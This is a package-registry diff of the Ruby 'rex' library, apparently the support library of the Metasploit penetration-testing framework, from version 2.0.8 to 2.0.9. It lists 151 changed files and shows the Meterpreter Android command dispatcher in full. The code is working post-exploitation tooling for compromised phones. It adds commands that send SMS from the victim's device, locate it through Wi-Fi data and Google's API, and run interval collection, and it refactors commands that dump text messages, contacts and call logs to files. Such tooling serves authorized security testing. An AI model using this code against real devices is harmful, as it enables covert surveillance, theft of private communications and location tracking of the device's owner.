rex 2.0.8 → 2.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (151) hide show
  1. checksums.yaml +4 -4
  2. data/lib/rex.rb +1 -0
  3. data/lib/rex/arch.rb +5 -0
  4. data/lib/rex/arch/x86.rb +19 -5
  5. data/lib/rex/arch/zarch.rb +17 -0
  6. data/lib/rex/compat.rb +5 -4
  7. data/lib/rex/constants.rb +3 -1
  8. data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
  9. data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
  10. data/lib/rex/exploitation/cmdstager.rb +1 -0
  11. data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
  12. data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
  13. data/lib/rex/exploitation/egghunter.rb +1 -1
  14. data/lib/rex/google/geolocation.rb +68 -0
  15. data/lib/rex/io/bidirectional_pipe.rb +0 -4
  16. data/lib/rex/java/serialization.rb +2 -0
  17. data/lib/rex/java/serialization/decode_error.rb +11 -0
  18. data/lib/rex/java/serialization/encode_error.rb +11 -0
  19. data/lib/rex/java/serialization/model.rb +2 -0
  20. data/lib/rex/java/serialization/model/annotation.rb +3 -3
  21. data/lib/rex/java/serialization/model/block_data.rb +3 -3
  22. data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
  23. data/lib/rex/java/serialization/model/class_desc.rb +6 -6
  24. data/lib/rex/java/serialization/model/contents.rb +17 -10
  25. data/lib/rex/java/serialization/model/field.rb +12 -11
  26. data/lib/rex/java/serialization/model/long_utf.rb +3 -3
  27. data/lib/rex/java/serialization/model/new_array.rb +22 -23
  28. data/lib/rex/java/serialization/model/new_class.rb +57 -0
  29. data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
  30. data/lib/rex/java/serialization/model/new_enum.rb +5 -5
  31. data/lib/rex/java/serialization/model/new_object.rb +22 -17
  32. data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
  33. data/lib/rex/java/serialization/model/reference.rb +4 -4
  34. data/lib/rex/java/serialization/model/stream.rb +7 -7
  35. data/lib/rex/java/serialization/model/utf.rb +3 -3
  36. data/lib/rex/json_hash_file.rb +94 -0
  37. data/lib/rex/logging/log_sink.rb +1 -0
  38. data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
  39. data/lib/rex/parser/appscan_nokogiri.rb +13 -23
  40. data/lib/rex/parser/fs/ntfs.rb +10 -5
  41. data/lib/rex/parser/nmap_nokogiri.rb +3 -1
  42. data/lib/rex/parser/openvas_nokogiri.rb +70 -73
  43. data/lib/rex/parser/winscp.rb +108 -0
  44. data/lib/rex/parser/x509_certificate.rb +92 -0
  45. data/lib/rex/payloads.rb +0 -1
  46. data/lib/rex/payloads/meterpreter/config.rb +154 -0
  47. data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
  48. data/lib/rex/post/meterpreter.rb +1 -1
  49. data/lib/rex/post/meterpreter/client.rb +26 -3
  50. data/lib/rex/post/meterpreter/client_core.rb +387 -75
  51. data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
  52. data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
  53. data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
  54. data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
  55. data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
  56. data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
  57. data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
  58. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
  59. data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
  60. data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
  61. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
  62. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
  63. data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
  64. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
  65. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
  66. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
  67. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
  68. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
  69. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
  70. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
  71. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
  72. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
  73. data/lib/rex/post/meterpreter/packet.rb +29 -0
  74. data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
  75. data/lib/rex/post/meterpreter/ui/console.rb +1 -0
  76. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
  77. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
  78. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
  79. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
  80. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
  81. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
  82. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
  83. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
  84. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
  85. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
  86. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
  87. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
  88. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
  89. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
  90. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
  91. data/lib/rex/powershell.rb +62 -0
  92. data/lib/rex/powershell/command.rb +359 -0
  93. data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
  94. data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
  95. data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
  96. data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
  97. data/lib/rex/powershell/parser.rb +182 -0
  98. data/lib/rex/powershell/payload.rb +78 -0
  99. data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
  100. data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
  101. data/lib/rex/proto/dcerpc/client.rb +6 -6
  102. data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
  103. data/lib/rex/proto/http/client.rb +3 -3
  104. data/lib/rex/proto/http/client_request.rb +0 -5
  105. data/lib/rex/proto/http/response.rb +86 -0
  106. data/lib/rex/proto/ipmi/utils.rb +30 -26
  107. data/lib/rex/proto/kerberos/client.rb +1 -1
  108. data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
  109. data/lib/rex/proto/rfb/client.rb +8 -3
  110. data/lib/rex/proto/rfb/constants.rb +1 -1
  111. data/lib/rex/proto/rmi.rb +2 -0
  112. data/lib/rex/proto/rmi/decode_error.rb +10 -0
  113. data/lib/rex/proto/rmi/exception.rb +10 -0
  114. data/lib/rex/proto/rmi/model.rb +5 -0
  115. data/lib/rex/proto/rmi/model/call.rb +4 -4
  116. data/lib/rex/proto/rmi/model/call_data.rb +137 -0
  117. data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
  118. data/lib/rex/proto/rmi/model/element.rb +26 -11
  119. data/lib/rex/proto/rmi/model/output_header.rb +4 -4
  120. data/lib/rex/proto/rmi/model/ping.rb +2 -2
  121. data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
  122. data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
  123. data/lib/rex/proto/rmi/model/return_data.rb +5 -5
  124. data/lib/rex/proto/rmi/model/return_value.rb +124 -0
  125. data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
  126. data/lib/rex/proto/steam.rb +3 -0
  127. data/lib/rex/proto/steam/message.rb +125 -0
  128. data/lib/rex/proto/tftp/client.rb +35 -14
  129. data/lib/rex/random_identifier_generator.rb +2 -0
  130. data/lib/rex/ropbuilder.rb +1 -1
  131. data/lib/rex/socket/parameters.rb +9 -0
  132. data/lib/rex/socket/ssl_tcp.rb +25 -41
  133. data/lib/rex/socket/ssl_tcp_server.rb +10 -21
  134. data/lib/rex/sslscan/result.rb +20 -1
  135. data/lib/rex/text.rb +241 -55
  136. data/lib/rex/ui/output.rb +0 -3
  137. data/lib/rex/ui/subscriber.rb +0 -10
  138. data/lib/rex/ui/text/color.rb +9 -0
  139. data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
  140. data/lib/rex/ui/text/output.rb +15 -4
  141. data/lib/rex/ui/text/output/file.rb +1 -0
  142. data/lib/rex/ui/text/output/stdio.rb +0 -16
  143. data/lib/rex/ui/text/shell.rb +3 -0
  144. data/lib/rex/ui/text/table.rb +85 -19
  145. data/lib/rex/user_agent.rb +118 -0
  146. data/rex.gemspec +2 -2
  147. metadata +41 -14
  148. data/lib/rex/exploitation/powershell.rb +0 -62
  149. data/lib/rex/exploitation/powershell/parser.rb +0 -183
  150. data/lib/rex/payloads/meterpreter.rb +0 -2
  151. data/lib/rex/payloads/meterpreter/patch.rb +0 -136
@@ -1,17 +1,17 @@
1
1
  # -*- coding: binary -*-
2
2
  require 'rex/post/meterpreter'
3
3
  require 'msf/core/auxiliary/report'
4
+ require 'rex/google/geolocation'
5
+ require 'date'
4
6
 
5
7
  module Rex
6
8
  module Post
7
9
  module Meterpreter
8
10
  module Ui
9
-
10
11
  ###
11
12
  # Android extension - set of commands to be executed on android devices.
12
13
  # extension by Anwar Mohamed (@anwarelmakrahy)
13
14
  ###
14
-
15
15
  class Console::CommandDispatcher::Android
16
16
  include Console::CommandDispatcher
17
17
  include Msf::Auxiliary::Report
@@ -26,33 +26,111 @@ class Console::CommandDispatcher::Android
26
26
  'geolocate' => 'Get current lat-long using geolocation',
27
27
  'dump_calllog' => 'Get call log',
28
28
  'check_root' => 'Check if device is rooted',
29
- 'device_shutdown' => 'Shutdown device'
29
+ 'device_shutdown' => 'Shutdown device',
30
+ 'send_sms' => 'Sends SMS from target session',
31
+ 'wlan_geolocate' => 'Get current lat-long using WLAN information',
32
+ 'interval_collect' => 'Manage interval collection capabilities'
30
33
  }
31
34
 
32
35
  reqs = {
33
- 'dump_sms' => [ 'dump_sms' ],
34
- 'dump_contacts' => [ 'dump_contacts' ],
35
- 'geolocate' => [ 'geolocate' ],
36
- 'dump_calllog' => [ 'dump_calllog' ],
37
- 'check_root' => [ 'check_root' ],
38
- 'device_shutdown' => [ 'device_shutdown']
36
+ 'dump_sms' => ['dump_sms'],
37
+ 'dump_contacts' => ['dump_contacts'],
38
+ 'geolocate' => ['geolocate'],
39
+ 'dump_calllog' => ['dump_calllog'],
40
+ 'check_root' => ['check_root'],
41
+ 'device_shutdown' => ['device_shutdown'],
42
+ 'send_sms' => ['send_sms'],
43
+ 'wlan_geolocate' => ['wlan_geolocate'],
44
+ 'interval_collect' => ['interval_collect']
39
45
  }
40
46
 
41
47
  # Ensure any requirements of the command are met
42
- all.delete_if do |cmd, desc|
43
- reqs[cmd].any? { |req| not client.commands.include?(req) }
48
+ all.delete_if do |cmd, _desc|
49
+ reqs[cmd].any? { |req| !client.commands.include?(req) }
44
50
  end
45
51
  end
46
52
 
47
- def cmd_device_shutdown(*args)
53
+ def interval_collect_usage
54
+ print_line('Usage: interval_collect <parameters>')
55
+ print_line
56
+ print_line('Specifies an action to perform on a collector type.')
57
+ print_line
58
+ print_line(@@interval_collect_opts.usage)
59
+ end
60
+
61
+ def cmd_interval_collect(*args)
62
+ @@interval_collect_opts ||= Rex::Parser::Arguments.new(
63
+ '-h' => [false, 'Help Banner'],
64
+ '-a' => [true, "Action (required, one of: #{client.android.collect_actions.join(', ')})"],
65
+ '-c' => [true, "Collector type (required, one of: #{client.android.collect_types.join(', ')})"],
66
+ '-t' => [true, 'Collect poll timeout period in seconds (default: 30)']
67
+ )
68
+
69
+ opts = {
70
+ action: nil,
71
+ type: nil,
72
+ timeout: 30
73
+ }
74
+
75
+ @@interval_collect_opts.parse(args) do |opt, idx, val|
76
+ case opt
77
+ when '-a'
78
+ opts[:action] = val.downcase
79
+ when '-c'
80
+ opts[:type] = val.downcase
81
+ when '-t'
82
+ opts[:timeout] = val.to_i
83
+ opts[:timeout] = 30 if opts[:timeout] <= 0
84
+ end
85
+ end
86
+
87
+ unless client.android.collect_actions.include?(opts[:action])
88
+ interval_collect_usage
89
+ return
90
+ end
91
+
92
+ type = args.shift.downcase
93
+
94
+ unless client.android.collect_types.include?(opts[:type])
95
+ interval_collect_usage
96
+ return
97
+ end
98
+
99
+ result = client.android.interval_collect(opts)
100
+ if result[:headers].length > 0 && result[:entries].length > 0
101
+ header = "Captured #{opts[:type]} data"
102
+
103
+ if result[:timestamp]
104
+ time = Time.at(result[:timestamp]).to_datetime
105
+ header << " at #{time.strftime('%Y-%m-%d %H:%M:%S')}"
106
+ end
107
+
108
+ table = Rex::Ui::Text::Table.new(
109
+ 'Header' => header,
110
+ 'SortIndex' => 0,
111
+ 'Columns' => result[:headers],
112
+ 'Indent' => 0
113
+ )
114
+
115
+ result[:entries].each do |e|
116
+ table << e
117
+ end
118
+
119
+ print_line
120
+ print_line(table.to_s)
121
+ else
122
+ print_good('Interval action completed successfully')
123
+ end
124
+ end
48
125
 
126
+ def cmd_device_shutdown(*args)
49
127
  seconds = 0
50
128
  device_shutdown_opts = Rex::Parser::Arguments.new(
51
129
  '-h' => [ false, 'Help Banner' ],
52
130
  '-t' => [ false, 'Shutdown after n seconds']
53
131
  )
54
132
 
55
- device_shutdown_opts.parse(args) { | opt, idx, val |
133
+ device_shutdown_opts.parse(args) do |opt, _idx, val|
56
134
  case opt
57
135
  when '-h'
58
136
  print_line('Usage: device_shutdown [options]')
@@ -62,26 +140,25 @@ class Console::CommandDispatcher::Android
62
140
  when '-t'
63
141
  seconds = val.to_i
64
142
  end
65
- }
143
+ end
66
144
 
67
145
  res = client.android.device_shutdown(seconds)
68
146
 
69
147
  if res
70
- print_status("Device will shutdown #{seconds > 0 ?('after ' + seconds + ' seconds'):'now'}")
148
+ print_status("Device will shutdown #{seconds > 0 ? ('after ' + seconds + ' seconds') : 'now'}")
71
149
  else
72
150
  print_error('Device shutdown failed')
73
151
  end
74
152
  end
75
-
76
- def cmd_dump_sms(*args)
77
153
 
154
+ def cmd_dump_sms(*args)
78
155
  path = "sms_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
79
156
  dump_sms_opts = Rex::Parser::Arguments.new(
80
- '-h' => [ false, 'Help Banner' ],
81
- '-o' => [ false, 'Output path for sms list']
157
+ '-h' => [ false, 'Help Banner' ],
158
+ '-o' => [ false, 'Output path for sms list']
82
159
  )
83
160
 
84
- dump_sms_opts.parse(args) { | opt, idx, val |
161
+ dump_sms_opts.parse(args) do |opt, _idx, val|
85
162
  case opt
86
163
  when '-h'
87
164
  print_line('Usage: dump_sms [options]')
@@ -91,19 +168,18 @@ class Console::CommandDispatcher::Android
91
168
  when '-o'
92
169
  path = val
93
170
  end
94
- }
171
+ end
95
172
 
96
- smsList = []
97
- smsList = client.android.dump_sms
173
+ sms_list = client.android.dump_sms
98
174
 
99
- if smsList.count > 0
100
- print_status("Fetching #{smsList.count} sms #{smsList.count == 1? 'message': 'messages'}")
175
+ if sms_list.count > 0
176
+ print_status("Fetching #{sms_list.count} sms #{sms_list.count == 1 ? 'message' : 'messages'}")
101
177
  begin
102
178
  info = client.sys.config.sysinfo
103
179
 
104
180
  data = ""
105
181
  data << "\n=====================\n"
106
- data << "[+] Sms messages dump\n"
182
+ data << "[+] SMS messages dump\n"
107
183
  data << "=====================\n\n"
108
184
 
109
185
  time = Time.new
@@ -112,8 +188,7 @@ class Console::CommandDispatcher::Android
112
188
  data << "Remote IP: #{client.sock.peerhost}\n"
113
189
  data << "Remote Port: #{client.sock.peerport}\n\n"
114
190
 
115
- smsList.each_with_index { |a, index|
116
-
191
+ sms_list.each_with_index do |a, index|
117
192
  data << "##{index.to_i + 1}\n"
118
193
 
119
194
  type = 'Unknown'
@@ -147,14 +222,14 @@ class Console::CommandDispatcher::Android
147
222
  data << "Address\t: #{a['address']}\n"
148
223
  data << "Status\t: #{status}\n"
149
224
  data << "Message\t: #{a['body']}\n\n"
150
- }
225
+ end
151
226
 
152
227
  ::File.write(path, data)
153
- print_status("Sms #{smsList.count == 1? 'message': 'messages'} saved to: #{path}")
228
+ print_status("SMS #{sms_list.count == 1 ? 'message' : 'messages'} saved to: #{path}")
154
229
 
155
230
  return true
156
231
  rescue
157
- print_error("Error getting messages: #{$!}")
232
+ print_error("Error getting messages: #{$ERROR_INFO}")
158
233
  return false
159
234
  end
160
235
  else
@@ -163,18 +238,15 @@ class Console::CommandDispatcher::Android
163
238
  end
164
239
  end
165
240
 
166
-
167
241
  def cmd_dump_contacts(*args)
168
-
169
242
  path = "contacts_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
170
- dump_contacts_opts = Rex::Parser::Arguments.new(
171
243
 
244
+ dump_contacts_opts = Rex::Parser::Arguments.new(
172
245
  '-h' => [ false, 'Help Banner' ],
173
246
  '-o' => [ false, 'Output path for contacts list']
174
-
175
247
  )
176
248
 
177
- dump_contacts_opts.parse(args) { | opt, idx, val |
249
+ dump_contacts_opts.parse(args) do |opt, _idx, val|
178
250
  case opt
179
251
  when '-h'
180
252
  print_line('Usage: dump_contacts [options]')
@@ -184,13 +256,12 @@ class Console::CommandDispatcher::Android
184
256
  when '-o'
185
257
  path = val
186
258
  end
187
- }
259
+ end
188
260
 
189
- contactList = []
190
- contactList = client.android.dump_contacts
261
+ contact_list = client.android.dump_contacts
191
262
 
192
- if contactList.count > 0
193
- print_status("Fetching #{contactList.count} #{contactList.count == 1? 'contact': 'contacts'} into list")
263
+ if contact_list.count > 0
264
+ print_status("Fetching #{contact_list.count} #{contact_list.count == 1 ? 'contact' : 'contacts'} into list")
194
265
  begin
195
266
  info = client.sys.config.sysinfo
196
267
 
@@ -205,32 +276,28 @@ class Console::CommandDispatcher::Android
205
276
  data << "Remote IP: #{client.sock.peerhost}\n"
206
277
  data << "Remote Port: #{client.sock.peerport}\n\n"
207
278
 
208
- contactList.each_with_index { |c, index|
279
+ contact_list.each_with_index do |c, index|
209
280
 
210
281
  data << "##{index.to_i + 1}\n"
211
282
  data << "Name\t: #{c['name']}\n"
212
283
 
213
- if c['number'].count > 0
214
- (c['number']).each { |n|
215
- data << "Number\t: #{n}\n"
216
- }
284
+ c['number'].each do |n|
285
+ data << "Number\t: #{n}\n"
217
286
  end
218
287
 
219
- if c['email'].count > 0
220
- (c['email']).each { |n|
221
- data << "Email\t: #{n}\n"
222
- }
288
+ c['email'].each do |n|
289
+ data << "Email\t: #{n}\n"
223
290
  end
224
291
 
225
292
  data << "\n"
226
- }
227
-
293
+ end
294
+
228
295
  ::File.write(path, data)
229
296
  print_status("Contacts list saved to: #{path}")
230
297
 
231
298
  return true
232
299
  rescue
233
- print_error("Error getting contacts list: #{$!}")
300
+ print_error("Error getting contacts list: #{$ERROR_INFO}")
234
301
  return false
235
302
  end
236
303
  else
@@ -243,13 +310,11 @@ class Console::CommandDispatcher::Android
243
310
 
244
311
  generate_map = false
245
312
  geolocate_opts = Rex::Parser::Arguments.new(
246
-
247
313
  '-h' => [ false, 'Help Banner' ],
248
314
  '-g' => [ false, 'Generate map using google-maps']
249
-
250
315
  )
251
316
 
252
- geolocate_opts.parse(args) { | opt, idx, val |
317
+ geolocate_opts.parse(args) do |opt, _idx, _val|
253
318
  case opt
254
319
  when '-h'
255
320
  print_line('Usage: geolocate [options]')
@@ -259,7 +324,7 @@ class Console::CommandDispatcher::Android
259
324
  when '-g'
260
325
  generate_map = true
261
326
  end
262
- }
327
+ end
263
328
 
264
329
  geo = client.android.geolocate
265
330
 
@@ -278,7 +343,6 @@ class Console::CommandDispatcher::Android
278
343
  end
279
344
 
280
345
  def cmd_dump_calllog(*args)
281
-
282
346
  path = "calllog_dump_#{Time.new.strftime('%Y%m%d%H%M%S')}.txt"
283
347
  dump_calllog_opts = Rex::Parser::Arguments.new(
284
348
 
@@ -287,7 +351,7 @@ class Console::CommandDispatcher::Android
287
351
 
288
352
  )
289
353
 
290
- dump_calllog_opts.parse(args) { | opt, idx, val |
354
+ dump_calllog_opts.parse(args) do |opt, _idx, val|
291
355
  case opt
292
356
  when '-h'
293
357
  print_line('Usage: dump_calllog [options]')
@@ -297,12 +361,12 @@ class Console::CommandDispatcher::Android
297
361
  when '-o'
298
362
  path = val
299
363
  end
300
- }
364
+ end
301
365
 
302
366
  log = client.android.dump_calllog
303
367
 
304
368
  if log.count > 0
305
- print_status("Fetching #{log.count} #{log.count == 1? 'entry': 'entries'}")
369
+ print_status("Fetching #{log.count} #{log.count == 1 ? 'entry' : 'entries'}")
306
370
  begin
307
371
  info = client.sys.config.sysinfo
308
372
 
@@ -317,23 +381,21 @@ class Console::CommandDispatcher::Android
317
381
  data << "Remote IP: #{client.sock.peerhost}\n"
318
382
  data << "Remote Port: #{client.sock.peerport}\n\n"
319
383
 
320
- log.each_with_index { |a, index|
321
-
384
+ log.each_with_index do |a, index|
322
385
  data << "##{index.to_i + 1}\n"
323
-
324
386
  data << "Number\t: #{a['number']}\n"
325
387
  data << "Name\t: #{a['name']}\n"
326
388
  data << "Date\t: #{a['date']}\n"
327
389
  data << "Type\t: #{a['type']}\n"
328
390
  data << "Duration: #{a['duration']}\n\n"
329
- }
391
+ end
330
392
 
331
393
  ::File.write(path, data)
332
394
  print_status("Call log saved to #{path}")
333
395
 
334
396
  return true
335
397
  rescue
336
- print_error("Error getting call log: #{$!}")
398
+ print_error("Error getting call log: #{$ERROR_INFO}")
337
399
  return false
338
400
  end
339
401
  else
@@ -342,14 +404,13 @@ class Console::CommandDispatcher::Android
342
404
  end
343
405
  end
344
406
 
345
-
346
407
  def cmd_check_root(*args)
347
408
 
348
409
  check_root_opts = Rex::Parser::Arguments.new(
349
410
  '-h' => [ false, 'Help Banner' ]
350
411
  )
351
412
 
352
- check_root_opts.parse(args) { | opt, idx, val |
413
+ check_root_opts.parse(args) do |opt, _idx, _val|
353
414
  case opt
354
415
  when '-h'
355
416
  print_line('Usage: check_root [options]')
@@ -357,26 +418,123 @@ class Console::CommandDispatcher::Android
357
418
  print_line(check_root_opts.usage)
358
419
  return
359
420
  end
360
- }
421
+ end
361
422
 
362
423
  is_rooted = client.android.check_root
363
424
 
364
425
  if is_rooted
365
426
  print_good('Device is rooted')
366
- elsif
427
+ else
367
428
  print_status('Device is not rooted')
368
429
  end
369
430
  end
370
431
 
432
+ def cmd_send_sms(*args)
433
+ send_sms_opts = Rex::Parser::Arguments.new(
434
+ '-h' => [ false, 'Help Banner' ],
435
+ '-d' => [ true, 'Destination number' ],
436
+ '-t' => [ true, 'SMS body text' ],
437
+ '-dr' => [ false, 'Wait for delivery report' ]
438
+ )
439
+
440
+ dest = ''
441
+ body = ''
442
+ dr = false
443
+
444
+ send_sms_opts.parse(args) do |opt, _idx, val|
445
+ case opt
446
+ when '-h'
447
+ print_line('Usage: send_sms -d <number> -t <sms body>')
448
+ print_line('Sends SMS messages to specified number.')
449
+ print_line(send_sms_opts.usage)
450
+ return
451
+ when '-d'
452
+ dest = val
453
+ when '-t'
454
+ body = val
455
+ when '-dr'
456
+ dr = true
457
+ end
458
+ end
459
+
460
+ if dest.blank? || body.blank?
461
+ print_error("You must enter both a destination address -d and the SMS text body -t")
462
+ print_error('e.g. send_sms -d +351961234567 -t "GREETINGS PROFESSOR FALKEN."')
463
+ print_line(send_sms_opts.usage)
464
+ return
465
+ end
466
+
467
+ sent = client.android.send_sms(dest, body, dr)
468
+ if dr
469
+ if sent[0] == "Transmission successful"
470
+ print_good("SMS sent - #{sent[0]}")
471
+ else
472
+ print_error("SMS send failed - #{sent[0]}")
473
+ end
474
+ if sent[1] == "Transmission successful"
475
+ print_good("SMS delivered - #{sent[1]}")
476
+ else
477
+ print_error("SMS delivery failed - #{sent[1]}")
478
+ end
479
+ else
480
+ if sent == "Transmission successful"
481
+ print_good("SMS sent - #{sent}")
482
+ else
483
+ print_error("SMS send failed - #{sent}")
484
+ end
485
+ end
486
+ end
487
+
488
+ def cmd_wlan_geolocate(*args)
489
+ wlan_geolocate_opts = Rex::Parser::Arguments.new(
490
+ '-h' => [ false, 'Help Banner' ]
491
+ )
492
+
493
+ wlan_geolocate_opts.parse(args) do |opt, _idx, _val|
494
+ case opt
495
+ when '-h'
496
+ print_line('Usage: wlan_geolocate')
497
+ print_line('Tries to get device geolocation from WLAN information and Google\'s API')
498
+ print_line(wlan_geolocate_opts.usage)
499
+ return
500
+ end
501
+ end
502
+
503
+ log = client.android.wlan_geolocate
504
+ wlan_list = []
505
+ log.each do |x|
506
+ mac = x['bssid']
507
+ ssid = x['ssid']
508
+ ss = x['level']
509
+ wlan_list << [mac, ssid, ss.to_s]
510
+ end
511
+
512
+ if wlan_list.blank?
513
+ print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.")
514
+ return
515
+ end
516
+ g = Rex::Google::Geolocation.new
517
+
518
+ wlan_list.each do |wlan|
519
+ g.add_wlan(*wlan)
520
+ end
521
+ begin
522
+ g.fetch!
523
+ rescue RuntimeError => e
524
+ print_error("Error: #{e}")
525
+ else
526
+ print_status(g.to_s)
527
+ print_status("Google Maps URL: #{g.google_maps_url}")
528
+ end
529
+ end
530
+
371
531
  #
372
532
  # Name for this dispatcher
373
533
  #
374
534
  def name
375
535
  'Android'
376
536
  end
377
-
378
537
  end
379
-
380
538
  end
381
539
  end
382
540
  end